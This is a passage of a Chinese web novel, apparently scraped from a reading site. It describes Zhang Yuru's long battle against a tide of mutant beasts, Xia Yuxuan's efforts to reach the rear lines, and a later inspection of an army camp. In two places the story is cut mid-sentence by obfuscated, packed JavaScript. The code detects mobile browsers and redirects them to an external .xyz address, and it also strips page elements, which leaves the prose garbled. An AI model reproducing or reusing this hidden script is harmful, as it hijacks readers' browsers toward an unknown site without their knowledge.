风中开始夹杂着一种难以言喻的腥膻味,那是无数异兽**时特有的气息,混杂着皮**、汗水与野性的凶戾;更远处的山峦轮廓变得模糊,不是因为风雪,而是被狂奔的兽群扬起的漫天雪雾与尘土所遮蔽。 大地的震动越来越剧烈,每一次震颤都像是重锤敲在心脏上,让人呼吸不由自主地变沉。 这哪里是普通的奔跑? 分明是千军万马踏破山河的气势——仅仅是庞大的数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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原本乌黑的发丝如今已变得黑白参半,如同被霜雪浸染过一般,几缕白发贴在他的额角,更显几分沧桑;他的面容也比从前苍老了许多,眼角眉梢爬上了细密的纹路,皮肤失去了往日的光泽,透着一种透支后的苍白与疲惫。 唯有那双手,依旧稳定有力,只是指节处的皮肤略显干燥,隐隐能看到战斗留下的细小伤痕。 即便如今身体状况已较最糟糕时好了不少,但这副苍老的模样,无疑在无声地诉说着他尚未恢复到理想状态的事实。 正如他所说,在异兽真正抵达之前,每一分每一秒的恢复都至关重要。 一旦那些狂暴的兽群扑到近前,刀光剑影之间,根本不会有静心调养的机会。 每一丝能量的积蓄,都可能成为生死关头的转机。 或许是张玉汝这份临危不乱的平静感染了身边的人,夏雨萱看着他闭目打坐时沉稳的侧脸,感受着他周身渐渐平稳的气息,心中原本因连续任务和未知危险而起的焦躁,竟如同被风雪抚平的褶皱般,一点点安定下来。 她不再抱怨,也不再频频望向远方,而是学着张玉汝的样子,在他身旁不远处找了块避风的角落坐下,收敛心神开始打坐调息,让消耗的精神与体力缓缓回流。 寒风依旧在耳边呼啸,大地的震动越来越清晰,空气中的腥膻味也愈发浓重,山雨欲来的压迫感如同实质般笼罩着整个瞭望台。 半个时辰的时间,在这紧绷的寂静中悄然流逝。 张玉汝准时睁开了眼睛。那双眸子在昏暗的光线下依旧清澈,只是深处沉淀着与年龄不符的沉稳与锐利。 他没有立刻起身,只是平静地望向前方——那片原本还能隐约看到山峦轮廓的方向,此刻已彻底被浓稠的黑暗与翻滚的烟尘吞噬。 不是天色暗了,而是兽群来了。 那些狂奔的异兽,凭借着铺天盖地的数量,竟真真正正做到了遮天蔽日。 它们掀起的雪雾与尘土如同移动的乌云,将天光彻底隔绝,只留下一片压抑的漆黑,以及那越来越近的、足以撼动山河的咆哮与震动。 而张玉汝的脸上,自始至终没有丝毫波澜。 第 118章 出拳 天边的漆黑不再是静止的阴影,而是化作了奔腾的海洋。 无数异兽首尾相接,组成一片望不到边际的黑色狂潮,它们踏着山峦的骨骼狂奔,掀起的气浪如同滔天巨浪,带着毁天灭地的气势向这边碾压而来。 而张玉汝就站在瞭望台之上,身形在狂风中显得单薄,却如同一尊钉在原地的石像,静静地等待着这场风暴的降临。 “轰——!”震耳欲聋的轰鸣陡然炸响,打破了最后的死寂。 最先抵达的不是地面奔袭的兽群,而是一群生有肉翼的异兽,它们如同被狂风卷起的黑沙,从云层中俯冲而下,利爪划破空气的锐啸与翅膀扇动的狂风交织成刺耳的尖鸣。 紧接着,大地剧烈震颤,数不清的蹄爪与兽足狠狠砸在地面,掀起漫天雪块与碎石,仿佛整个高原都在随着它们的步伐共振。 更令人心悸的是,脚下的泥土突然崩裂,一只只覆盖着坚甲的异兽从深层地底钻出,带起腥臭的泥土,将防线从地下到空中彻底包围。 数不清的异兽如同决堤的洪水般冲杀而来,它们的眼睛闪烁着嗜血的红光,獠牙与利爪在昏暗的光线下泛着冷硬的寒光。 有的异兽身躯庞大如小山,每一步都让地面凹陷开裂;有的则灵活如鬼魅,四肢着地在断木与岩石间穿梭跳跃;更有甚者口吐腐蚀性的粘液,所过之处都在滋滋作响。 当这股黑色狂潮的前锋终于接触到张玉汝周身三尺之地时,一声震耳欲聋的巨响骤然传遍四方——那是上万只异兽同时嘶吼、咆哮、冲撞所掀起的声浪,如同实质的冲击波瞬间扩散开来。 空气在这一刻仿佛被压缩到极致,又猛地炸开,瞭望台的木架瞬间被撕成碎片,周围的积雪被震得化作齑粉,连坚硬的岩石都在这股声浪冲击下出现了细密的裂纹。 原本静谧的树林早已不复存在。 那些生长了百年的树木被兽群撞得拦腰折断,粗壮的树干在空中划过弧线,带着枝叶轰然砸落。 林间那条潺潺流淌的溪水被奔腾的兽蹄截断,水流在混乱中改道,冲刷着裸露的河床与散落的石块;曾经覆盖着薄雪的空地此刻布满了深陷的蹄印与挣扎的痕迹,雪被染成肮脏的灰黑色,处处可见断裂的兽骨与飞溅的血肉。 所谓的岁月静好,不过是瞬间就被撕碎的幻影。 取而代之的,是兵荒马乱的炼狱景象——风声被兽吼淹没,光影被黑潮遮蔽,连呼吸都充斥着血腥与尘土的味道。 张玉汝缓缓抬起了手,掌心凝聚起微光。 战争,就在这天地倾覆的巨响中,正式拉开了序幕。 面对汹涌而来的兽群狂潮,张玉汝眼中没有丝毫慌乱,仿佛早已预见这炼狱般的景象。 他周身的气流开始剧烈涌动,原本沉寂的能量在体内轰然苏醒,黑白二色的光芒如同拥有生命般自他周身升腾而起。 黑色的光芒深邃如夜,带着内敛的沉凝之力,在他身侧缓缓流转,所过之处连空气都仿佛被染上墨色的幽光;白色的光芒则温润如玉,蕴含着蓬勃的生机,如同月光般轻盈飘荡,与黑色光芒交相辉映。 这两种截然相反的能量并未相互排斥,反而在一种玄妙的韵律中彼此缠绕、交替流转——黑光消弭之处必有白光生起,白光黯淡之瞬便有黑光补位,如同昼夜交替般循环往复,最终在他身前凝聚成一轮近乎完美的阴阳鱼虚影。 鱼眼处的光点明亮而稳定,带着一种掌控天地平衡的道韵,缓缓旋转间,连周遭狂乱的风势都仿佛被纳入了这循环之中。 “刹那。”张玉汝轻启双唇,吐出这两个字。 声音不高,却带着一种**一切喧嚣的力量,瞬间压过了千军万马的嘶吼、蹄爪踏地的轰鸣与狂风呼啸的嘈杂,清晰地传遍了战场的每一个角落。 话音落下的瞬间,阴阳鱼虚影猛地加速旋转,黑白光芒剧烈交融、碰撞,最终化作纯粹的莹白色神光爆发开来。 这光芒不再是柔和的飘荡,而是如同奔涌的溪流,顺着张玉汝的经脉飞速流淌过他的全身上下——从发梢到指尖,从眉心到足底,每一寸肌肤都被这莹白光芒所覆盖、所浸润。 原本因透支而显苍白的面容,在神光映照下变得温润剔透,眼角的细纹仿佛被光芒抚平,只剩下一种超越年龄的沉静与庄严;黑白参半的发丝染上了一层柔和的银白光泽,随着能量的流动轻轻飘动,宛如蕴含着星辰的碎屑。 他的眼眸在光芒中微微发亮,瞳孔深处仿佛倒映着那轮旋转的阴阳鱼,透着洞悉一切的清明。 此刻的张玉汝,仿佛被这莹白神光彻底点亮,整个人宛如一尊由万年暖玉精心雕琢而成的神像——肌肤泛着玉石般的温润光泽,能量流转时带着淡淡的光晕涟漪,连周身的空气都仿佛被净化过一般。 在兽群的腥膻与混乱中,他独守着一片神圣而静谧的领域。阴阳鱼的虚影并未消散,而是悬浮在他身后缓缓旋转,将黑白二色的能量源源不断地注入他体内,让他在这毁天灭地的兽潮面前,站成了一道不可撼动的光。 腥臭的涎水顺着獠牙滴落,带着令人作呕的腐味扑面而来。 第一只异兽——那只生有三角头颅、满口黄牙的异化雪狼,已扑至近前,锋利的前爪带着撕裂空气的锐啸,直取张玉汝的咽喉。 就在这千钧一发之际,张玉汝的拳头自然递出。 没有惊天动地的气势,没有狂暴的能量爆发,这一拳的动作舒缓得如同行云流水,却与以往截然不同——他的腰腹微微扭转,肩背肌肉若有若无地耸动,连脚下的岩石都因这股力量的传导而轻颤了一瞬。 这不再是单纯的手臂发力,而是将全身筋骨、气血乃至流转的阴阳之力拧成一股绳,汇聚于拳锋之上,带着一种浑然天成的韵律。 拳锋与异兽的獠牙、涎水相触的刹那,没有想象中的碰撞巨响。 看似温和的拳风如同一道无形的屏障,先是将那腥臭的口水凭空托住,随即如潮水般逆向涌回;紧接着,那足以咬碎钢铁的獠牙在拳风拂过的瞬间,竟像被无形巨力捏住般向内弯折,伴随着细微的骨裂声,整颗头颅以一种诡异的弧度向内塌陷。 “噗嗤——”沉闷的声响中,这只异兽的头颅如同被巨石碾过的浆果,口鼻、獠牙连同涌出的涎水一起被硬生生“送”回了脖颈的腔体内。 它庞大的身躯在惯性下继续前冲,却在接触到拳风核心的刹那骤然停滞,体表的皮**以肉眼可见的速度向内凹陷、褶皱,仿佛被一只无形的大手攥住、挤压,骨骼碎裂的脆响在喧嚣的战场中清晰可闻。 转瞬间,这头凶戾的异兽便化作一团扭曲的血肉,失去所有生机,被后续涌来的兽群踩成肉泥。 而那道自拳锋散开的微风,并未随着异兽的倒下而消散。 起初只是萦绕在张玉汝周身的一缕气流,拂过雪地时只卷起几片细碎的冰晶,毫不起眼。 但随着它向前推进,途经之处的能量开始被其牵引、裹挟——阴阳鱼流转的神光注入其中,异兽狂潮掀起的乱流被其吞噬,连空气中弥漫的血腥气都仿佛成了它成长的养分。 风势以肉眼可见的速度膨胀、加速。 掠过断木时,它卷起的烟尘已能将碗口粗的树干吹得摇晃;冲过溪谷时,水面被掀起半尺高的浪涛,碎冰与石子在风中呼啸。 当它撞上密集的兽群时,早已从拂面微风成长为遮天蔽日的狂风——风声从轻柔的呜咽变成了尖锐的咆哮,风速快得形成了肉眼可见的白色气浪,所过之处,无论是身躯庞大的重甲异兽,还是灵活穿梭的迅捷猎手,都如同被卷入漩涡的落叶,身不由己地被狂风裹挟、撕扯。 兽群的嘶吼被风声吞没,肢体碰撞的闷响被气流撕裂的锐啸掩盖。 这道起于青萍之末的微风,此刻已化作席卷天地的罡风洪流,顺着张玉汝出拳的方向铺展开来,将成片的异兽卷入其中,绞成血雾与碎骨。 张玉汝收拳而立,身后阴阳鱼缓缓旋转,眼中闪过一丝明悟。 这一拳,正是他借鉴了钟灵那招「青萍末」的精髓——以小搏大,借势而为,让细微的力量在流转中不断壮大,最终形成无坚不摧的伟力。 而眼前这被狂风撕开的血色通道,便是这一拳最好的证明。 狂风呼啸着掠过战场,最终在远方的山峦间渐渐消散。 当最后一缕罡风卷起的血雾落地,原本被异兽黑潮彻底淹没的天地,竟在这一刻骤然重返清明。 积压在头顶的厚重“乌云”——那由兽群掀起的烟尘与阴影,此刻被狂风涤荡一空,露出了被遮蔽的天光。 虽然现 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张玉汝这一拳,无疑提前掐灭了这场灾难的引线。 夏雨萱正想开口赞叹,眼角的余光却瞥见远方的地平线再次被黑色覆盖。 她脸上的惊叹瞬间凝固。 只见那刚刚被狂风撕开的空缺处,新的异兽正如同潮水般从山峦背后、从冰谷深处、从地底裂缝中疯狂涌现。 它们踏着同伴的尸骸狂奔,嘶吼声、蹄爪声再次汇聚成震耳欲聋的洪流,那股熟悉的、令人头皮发麻的压迫感如同退潮后重新涨起的海水,以更快的速度将清明的天地再次吞噬。 转眼间,刚刚被肃清的战场又被新的兽群填满,黑压压的一片望不到边际,仿佛刚才那石破天惊的一拳从未出现过,仿佛天地重返清明的瞬间只是一场短暂的幻觉。 天光再次被遮蔽,空气重新被腥膻填满,大地的震颤恢复了之前的狂暴。 一切都回到了原点。夏雨萱握紧了手中的武器,心头那刚刚升起的轻松被巨大的落差感取代。 “是啊,哪有这么容易呢?一切才刚刚开始。”夏雨萱自语道。 她望着张玉汝依旧挺立的背影,第一次真切地感受到这场战争的残酷——敌人从来不是被一拳击溃就能终结的存在,而是如同无穷无尽的潮水,在一次又一次的冲锋中消磨着战士的意志与力量。 刚才那短暂的清明,不过是漫长煎熬中的一次喘息,风暴,才刚刚开始。 远方的地平线上,黑色的兽潮再次翻滚着涌现,如同永不停歇的墨色洪流,将刚刚透出些许清明的天光重新吞没。 张玉汝静静地伫立在尸骸遍地的战场中央,黑白参半的发丝被狂风拂起,又轻轻落下,几缕白发贴在他带着淡淡风霜的额角,如同冰雪覆过的岩石,沉默而坚定。 他的脸上依旧是那副沉静如水的神情,没有因刚才一拳毙敌上千的战绩而有丝毫波动,也没有因兽群卷土重来而显半分烦躁。 那双曾映照过阴阳鱼神光的眼眸,此刻清澈得如同高原的湖泊,倒映着远方奔涌的黑潮,却未起半点涟漪。 刚才那石破天惊的一拳,改变了什么吗?或许有吧——至少暂时击退了第一波冲击,为后方争取了喘息的间隙,也让那些潜藏的异兽见识了力量的威慑。 可转眼之间,新的兽群便填满了空缺,天地间的压迫感卷土重来,仿佛一切又回到了原点,什么都未曾改变。 这样的念头在脑海中一闪而过,却未在张玉汝心中留下丝毫痕迹。他不去纠结“改变”与否的意义,也不去计算这场战争的尽头在何处。 胜负、得失、疲惫、焦躁……这些情绪仿佛都被他周身流转的能量涤荡干净,只留下一种近乎本能的平静。 掌心再次有白色的荧光浮现,温润的光芒顺着他的指尖流淌,与身后缓缓旋转的阴阳鱼虚影遥相呼应。能量在体内沉稳地运转,每一次流转都带着抚平疲惫的暖意,将刚才那一拳的消耗悄然补足。 没有多余的蓄力,没有激昂的战意,甚至连眼神都未曾有半分锐利的波动,他只是自然而然地抬起手臂,如同呼吸般再次递出了拳头。 拳风依旧看似温和,却带着一种与天地共振的韵律,朝着再次涌来的兽群而去。 第 119章 屠戮 自然教会囤积的异兽显然远超预估,这场破釜沉舟的反扑,其疯狂程度比预想中更甚。 黑潮般的兽群仿佛无穷无尽,前赴后继地冲击着防线,连空气都被它们的嘶吼与蹄声震得发烫。 张玉汝刚刚一拳轰退身前扑涌的兽群,撕开一道短暂的缺口,可尚未等拳风完全消散,新的异兽便已踩着同伴的尸骸填补上来,密密麻麻的身影再次将视野填满,仿佛刚才的反击从未发生过。 “想要速战速决,看来是不可能了。”张玉汝望着身前那片望不到边际的异兽海洋,黑白参半的发丝被狂风吹得贴在脸颊,心中却愈发清明,“该换一种方式了。” 他不再执着于正面硬撼,缓缓收回拳头。 掌心残留的莹白神光并未随着收拳而散去,反而如同找到了源头的溪流,与身后那轮缓缓旋转的阴阳鱼虚影产生了更紧密的共鸣——黑白二色的能量流如同有了生命,在他周身与虚影之间往复穿梭,发出细微的嗡鸣。 下一刻,张玉汝脚下轻轻一点。 没有惊天动地的爆发,他的身形竟如同一片被风吹动的羽毛般轻盈飘退,足尖在混乱的尸骸与岩石上轻轻一点,便借着这股力道向后飘出数丈之远。 动作行云流水,不带半分滞涩,仿佛与周遭的风融为一体,轻松避开了下方兽群再次掀起的冲击浪潮。 最终,他稳稳落在一处相对高耸的岩石平台上。这里比周围的地势高出数尺,视野开阔无阻,能将整个战场的局势尽收眼底——兽群的分布、冲击的重心、以及远处夏雨萱的位置都清晰可见。 同时,平台边缘陡峭,恰好能避开兽群第一波冲击的锋芒,让他不必再陷入四面**的窘境。 这显然是经过刻意选择的战术站位。张玉汝站在平台边缘,身后阴阳鱼虚影的光芒愈发稳定,他低头俯瞰着下方依旧狂涌的兽群,眼神沉静如古井。 放弃了正面硬拼的消耗战,转而为俯瞰全局的控场,这一步退让,恰恰是为了更高效地掌控战局,在这场持久战中找到破局的关键。 “夏雨萱!”张玉汝的声音裹挟着沉稳的能量,穿透兽群的嘶吼与风声,清晰地传到不远处的同伴耳中,“守住左翼,别让异兽绕后!” 他很清楚,面对这无穷无尽的兽群狂潮,仅凭一己之力如同螳臂当车,再强的力量也会在持续消耗中枯竭。 唯有借助配合,让每个人都守住关键节点,才能形成真正有效的防线,将兽群牢牢锁在战场前沿。 而他此刻所处的岩石平台左翼,正是整片防线的天然薄弱点——那里地势相对低洼,冻土之下暗藏着数道裂缝,刚才便有几只覆盖坚甲的异兽从缝隙中钻出,险些绕到侧后方。 若是放任这种情况持续,敌人必然会抓住这个缺口疯狂涌入,届时不仅防线会被撕裂,后方的安全也将岌岌可危。 话音未落,张玉汝的身形已再次动了。 这一次,他没有再蓄力打出席卷天地的大范围拳风,而是将身后阴阳鱼虚影的能量缓缓内敛,最终凝聚于双手指尖。黑白二色的光芒在他指尖流转,不再是之前的磅礴浩荡,反而透着一种精细入微的灵动。 随着他双手快速变幻,指尖结出一个个玄奥的印诀,黑白光芒如同有了生命般交织、编织,最终化作一张细密的光网。光网薄如蝉翼,却闪烁着令人心悸的能量波动,顺着他的手势向前缓缓延伸,恰好覆盖住平台前方的斜坡地带。 “嗤啦——”当先冲来的几只异化雪狼一头撞入光网范围,还未等它们张开獠牙,光网便骤然收紧! 黑色光芒瞬间化作无数道无形的枷锁,死死锁住异兽的四肢与身躯,让它们在原地动弹不得,只能发出徒劳的嘶吼;而白色光芒则在此刻化作最锋利的丝线,随着光网的收缩高速切割,寒光闪过的瞬间,便将数只异兽齐齐切成数段。 鲜血与碎肉飞溅,却连光网的边缘都无法沾染。 这种精准到极致的能量操控,比刚才的大范**击节省了至少五成的力量。 张玉汝站在岩石平台上,指尖光网不断闪烁,每一次收紧都能精准绞杀一批冲来的异兽,既有效阻挡了兽群的推进,又避免了不必要的能量浪费。 显然,这是他为这场注定漫长的持久战,精心调整的战斗方式。 而在左翼方向,夏雨萱的身影已迅速就位,光影闪烁间,正将一只只试图从地底钻出的异兽斩落,与张玉汝的光网形成了默契的呼应。 张玉汝的呼吸始终保持着如深谷流泉般的悠长节奏,每一次吸气都伴随着能量的内敛,每一次呼气都带动着动作的舒展。 他的出手从不急躁,总是在异兽扑至最关键的瞬间恰到好处地发动——或拳风轻拂,或指尖凝光,既不过度透支体内流转的阴阳之力,又能以最小的消耗最大限度地击杀异兽,仿佛在与战场的节奏共舞。 黑白二色的神光在他周身如同活物般交替流转,演绎着“阴阳相生,生生不息”的玄妙道韵。 当异兽的利爪带着腥风扫来时,黑色光芒便会瞬间凝聚成坚不可摧的护盾,表面流淌着如水波般的纹路,将攻击稳稳挡下,利爪划过的地方只留下淡淡的涟漪。 当酸液从兽口喷吐而出时,白色光芒便会化作无形的屏障,将腐蚀性液体悄然消解于无形。 而当反击的时机到来,黑白神光又会骤然化作锋利的光刃,或斩或刺,精准地收割着异兽的生命,每一次能量的转换都圆转如意,不见半分滞涩。 即便面对潮水般连绵不绝的攻势,张玉汝的步伐依旧稳健如磐石。他脚踩在岩石平台的边缘,每一次移动都精准地避开兽群冲击的锋芒,既不陷入重围,又能将攻击范围覆盖到最关键的区域。 他的眼神始终清明如镜,倒映着整个战场的局势,没有被眼前的血腥与混乱干扰分毫,仿佛他不是在进行一场殊死厮杀,而是在指挥一场无声的战争,每一个动作都蕴含着对全局的考量。 偶尔有几只身形格外敏捷的异兽,借着同伴的掩护突破光网的封锁,嘶吼着向他身后的左翼方向冲去——那里正是夏雨萱镇守的位置。 每当此时,张玉汝便会屈指一弹,指尖瞬间凝聚起一道凝练的白光,如同划破黑暗的流星般激射而出,总能精准命中异兽的要害。 或穿透头颅,或击碎心脏,动作干净利落,从不让漏网之鱼威胁到同伴的安全。 他始终将战场的主动权牢牢握在掌心。每一次能量的输出都计算得恰到好处,确保在持久战中保持稳定的战斗力;每一次目光的扫过都涵盖同伴的位置,时刻关注着防线的薄弱之处。 他就像一位坐镇中军的统帅,总揽全局,让每一分力量都用在刀刃上,让每一处变化都尽在掌握之中。 在这狂乱的兽潮之中,张玉汝以他的沉稳、精准与全局观,构筑起一道看似平静却坚不可摧的防线。 异兽并非全然凭本能厮杀的蠢货,当一波又一波的同伴在张玉汝身前化为碎骨,当数量优势被那看似平静的攻防彻底瓦解时,它们浑浊的眼眸中终于闪过一丝凶狠。 这些畜生意识到,眼前这个黑白神光流转的人类,绝非单纯依靠数量就能淹没的存在。 于是,它们动起了更凶狠的念头。 当新一波兽群踏着烟尘即将抵达近前时,张玉汝敏锐地捕捉到了空气中异样的能量波动——那是一种混杂着焦躁与决绝的气息,与之前的狂暴截然不同。 他突然深吸一口气,胸腹间鼓起又缓缓平复,身后悬浮的阴阳鱼虚影在这一刻猛地膨胀数倍,黑白二色的能量如同涨潮的海水般向外扩散,带着一种包容万物的磅礴气势。 这一次,能量并未化作撕裂天地的罡风或锋利的光刃,而是在他身前骤然凝聚,化作一道丈高的半透明光墙。 光墙之上,黑白纹路如同活物般流转不息,时而交融、时而分离,宛如一幅凝固的太极图,透着“以柔克刚”的玄妙意境。 冲在最前的十数只异兽一头撞在光墙上,锋利的爪牙与沉重的身躯狠狠砸落,却只激起一圈圈涟漪,光墙依旧纹丝不动,将它们死死拦在三丈之外。 被阻拦的异兽并未焦躁退去,反而发出尖锐的嘶鸣。 它们的身体以肉眼可见的速度膨胀起来,皮**下的肌肉虬结鼓动,周身不断冒出滚烫的白汽,骨骼摩擦的“咯吱”声与体内能量暴走的“嗡嗡”声交织在一起,透着毁灭的气息。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109657|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轰——!”第一声自爆响起,如同平地惊雷。 紧接着,连锁反应般的轰鸣接连炸响,被光墙阻挡的异兽纷纷选择了玉石俱焚的战法。 剧烈的**掀起冲天的火光与气浪,冲击波如同无形的巨手狠狠拍向四周,连坚硬的岩石都被震得粉碎,大地在这连续不断的轰鸣中剧烈震颤,仿佛随时会开裂塌陷。 然而,当这些裹挟着碎石与火焰的冲击浪潮涌向张玉汝时,却在接触到他身旁那团悄然浮现的墨色屏障时,如同撞上了无形的沼泽。 狂暴的能量瞬间变得滞涩,原本足以掀翻山岳的冲击力竟以肉眼可见的速度减缓下来,火焰的蔓延变缓,碎石的飞射减速,连空气的震荡都仿佛被拉长了节奏。 张玉汝站在光墙之后,面色平静如初。 他并未动用那能直接逆转能量轨迹的「颠倒」,没有强行让自爆的威力反噬异兽自身,而是施展出了「颠倒世界」——以阴阳鱼的能量为媒介,在周身构建出一片变化速度被减缓的领域。 原本如海啸般猛烈的冲击,在这片领域中被减缓了数倍速度。 那些足以撕裂钢铁的碎片,此刻如同慢镜头般缓缓划过;那些足以震碎内脏的气浪,此刻如同轻风吹过。 当冲击力被彻底“稀释”后,再凶狠的自爆也失去了威胁,只能在墨色屏障外激起一圈圈微弱的涟漪,旋即消散无踪。 光墙之上的黑白纹路依旧流转,墨色屏障外的冲击缓缓平息。 张玉汝望着眼前狼藉的战场,身后的阴阳鱼虚影轻轻旋转。 **的烟尘尚未散尽,火光与碎石还在半空中翻腾,几抹迅捷的黑影已借着混乱的掩护,如同离弦之箭般窜出。 这些是兽群中最擅长偷袭的速度型异兽,它们皮**漆黑如墨,四肢生有利爪,本打算趁着自爆的掩护浑水摸鱼,直取张玉汝的要害。 但它们的动向,早已落入一双洞悉未来的眼眸。 张玉汝的瞳孔中,黑白二色的光芒骤然涌动、交融,最终化作一片深邃的混沌。 「造化之眼」已然开启,配合着周身流转的能量,与「加速世界」的一同运转——时间在他的感知中仿佛被拉长、放慢,那些速度型异兽的每一次腾跃、每一次变向,甚至它们肌肉收缩的细微动作,都清晰地呈现在他的“视野”里。 更可怕的是,通过对能量轨迹与兽群习性的推演,这些异兽未来的所有可能性——向左闪避的角度、向右扑击的时机、甚至试图折返的退路——都已被张玉汝一一算清。 也就是说,从被「造化之眼」锁定的那一刻起,这些异兽原本充满变数的未来,便已被张玉汝提前“敲定”。 等待它们的,不再有侥幸,只有早已注定的死亡。 张玉汝甚至没有回头,只是随手向身后的烟尘中洒出一片光雨。 那是由数十枚白色能量梭组成的璀璨洪流,每一枚梭体都闪烁着莹润的光泽,看似随意地向四周扩散,轨迹散乱却暗藏玄机。 烟尘中,被锁定的速度型异兽们立刻做出了反应。 有的依仗速度继续猛冲,试图在能量梭抵达前突破防线;有的则猛地扭转身体,想借着障碍物躲避攻击;还有的竟罕见地选择了后退,试图暂时脱离战场再寻时机。 它们各自做出了不同的选择,每一种都堪称狡猾的生存本能。 然而,所有的挣扎都是徒劳。 那些看似无规律的能量梭,仿佛长了眼睛一般,在半空中微微调整轨迹。 向左侧闪避的异兽,恰好撞上从斜后方绕来的能量梭;试图后退的异兽,被一枚“恰好”滞留在退路的能量梭贯穿了咽喉;而那些悍然前冲的,则被正面飞来的能量梭精准钉死在原地。 如同天女散花般飞射的能量梭,最终无一例外地命中了所有目标。 没有一只异兽能够逃脱,没有一枚能量梭被浪费,每一道白光落下,都伴随着一声短促的悲鸣与躯体倒地的闷响。 当最后一枚能量梭消散在烟尘中,张玉汝眼中的混沌光芒缓缓褪去,重新恢复清明。 他甚至没有去看那些倒在地上的异兽尸体,只是微微侧头,望向兽群后方更深邃的黑暗。 第 120章 预料之中的阻碍 “砰!”张玉汝一脚重重踏下,伴随着沉闷的碎裂声,一只试图用巨角顶撞他的巨型牦牛异兽,整个头颅被硬生生踏碎在岩石上,温热的血污溅上他的裤脚,却被周身流转的神光悄然涤荡干净。 几乎在同一瞬间,他敏锐地察觉到头顶的气流异动,身形如同鬼魅般向侧后方滑出半步,恰好躲开了一只三头秃鹫从斜后方扑来的利爪——那畜生的三颗头颅同时张开,露出满是倒刺的咽喉,腥臭的风扑面而来。 不等秃鹫调整姿态,张玉汝脚尖在虚空轻轻一点,借着这股反作用力骤然转身,腰腹如同拧动的发条般带动上肢,拳头带着黑白交织的神光顺势挥出。 “噗嗤!”拳风与秃鹫躯体接触的刹那,这只生有三个头颅的异兽便如同被巨力击中的陶罐,瞬间被打得四分五裂,残肢与羽毛混着血雨漫天散落。 这一系列动作行云流水,从踏碎牛首到闪避偷袭,再到转身反击,每个衔接都精准得仿佛排练过千百遍,没有一丝多余的力量浪费,更没有半分疏漏。 神光在他周身流转不息,脚步起落间带着阴阳平衡的韵律,即便在连续四天的高强度厮杀中,依旧保持着巅峰般的稳定。 然而,远处的夏雨萱并未为这精彩的操作喝彩。 她靠在一块避风的岩石后,握着剑柄的手指微微发白,眼神复杂地望着战场中央的身影。 在过去的四天四夜里,这样的画面她已经看得太多了——张玉汝如同永不停歇的战神,在兽潮中辗转腾挪,每一次出手都利落致命,每一次闪避都恰到好处,可她心中的沉重却与日俱增。 四天时间里,夏雨萱已记不清自己多少次濒临力竭,又多少次在张玉汝刻意让出的空隙中找到调息恢复的机会。 她能清晰地感受到自己体力与精神的起伏,每一次休息都像是从死亡边缘拽回半条命。 可作为战场主力的张玉汝,却仿佛不知疲倦为何物,从始至终没有真正休息过一秒钟。 他的呼吸始终悠长,眼神始终清明,周身的神光也未曾有过半分黯淡,仿佛体内蕴藏着用之不竭的能量。 可这份“不知疲倦”的背后,是看不到尽头的兽潮。如同涨潮的海水般,一波未平一波又起,黑色的洪流似乎永远填不满战场的沟壑,嘶吼声日夜不息,让这片土地的空气都始终弥漫着血腥与焦躁。 以往,每当张玉汝为她掩护出休息的机会时,夏雨萱总是累得像一滩烂泥,恨不得立刻瘫倒在地上,连手指都不想多抬一下,只想抓紧每一秒钟恢复体力。 但这一次,当张玉汝再次以拳风为她筑起屏障,将侧翼涌来的异兽暂时逼退时,夏雨萱却没有像往常那样就地调息。 她咬了咬牙,从怀中摸出几枚长短不一的金属条,还有三枚透着温润光泽的玉石。 这些是她随身携带的应急通讯零件,原本是任务结束后用于联络的备用工具。 此刻,她小心翼翼地将金属条拼接起来,用玉石作为能量传导节点,手指在冰冷的金属上快速拨动,将其组装成一架简陋却结构精巧的跨地形通讯装置。 装置刚一成型,一枚镂空的金属条便发出“滋滋”的尖锐杂音,像是有无数根细针在刺探耳膜。 夏雨萱蹙着眉,用冻得有些僵硬的手指转动玉石旋钮,一点点调试着频率。 杂音时强时弱,偶尔会夹杂着一丝模糊的电流声,那是远方信号穿透风雪与能量乱流的微弱回应。 她知道,在这种被异兽能量充斥的环境里,通讯信号极不稳定,这架简易装置能联系上后方的概率微乎其微。 但她总归还是要做一些尝试的。 —————————————————————————— 益州安全区外七百公里处,寒风卷着沙尘掠过守卫部队的营地,旗帜在风中猎猎作响。 一座座临时搭建的营帐整齐排列,巡逻的士兵步伐铿锵,整个营地透着一股紧张而有序的肃杀之气。 此刻,一群身着不同制服的人正沿着营地主干道缓缓前行,目光扫过营房、武器库与训练场,显然是在视察营地的战备情况。 仔细看去,这行人的阵容堪称豪华——走在中间的是益州守卫部队的副参谋长,肩章上的星徽在阳光下格外醒目。 紧随其后的是锦官城快速响应部队司令,一身笔挺的墨绿色指挥服,腰间配着制式**,气场沉稳如山。 对于营地的普通士兵而言,这些平日里只在通报文件上见过名字的大人物,此刻竟一股脑地出现在眼前,让不少人都按捺不住心中的激动与紧张。 如此难得的表现机会,战士们自然不愿错过。 无论是站岗的哨兵还是正在擦拭武器的后勤兵,都纷纷挺直了腰板,胸膛挺得老高,眼神锐利如鹰,将自己最好的精神面貌展现得淋漓尽致。 脚步声、武器碰撞声都刻意放轻,连呼吸都比平时沉稳了几分,生怕在大人物面前失了仪态。 “好好好!”走在队伍最前方的人影率先开口,声音清脆中带着几分雍容,“不愧是益州的好儿郎,这精神头,一看就是能打硬仗的队伍!” 这声夸赞让士兵们的腰杆挺得更直了,可当众人的目光落在说话人身上时,又忍不住有些心猿意马——与其他身着战斗服或指挥服的军官不同,这位领头者竟是一名身着紧致旗袍的中年女子。 墨色的丝绒旗袍紧贴着身体,将她丰腴曼妙的曲线勾勒得淋漓尽致,领口处绣着暗金色的缠枝纹,随着步伐轻轻晃动,透着低调的奢华。 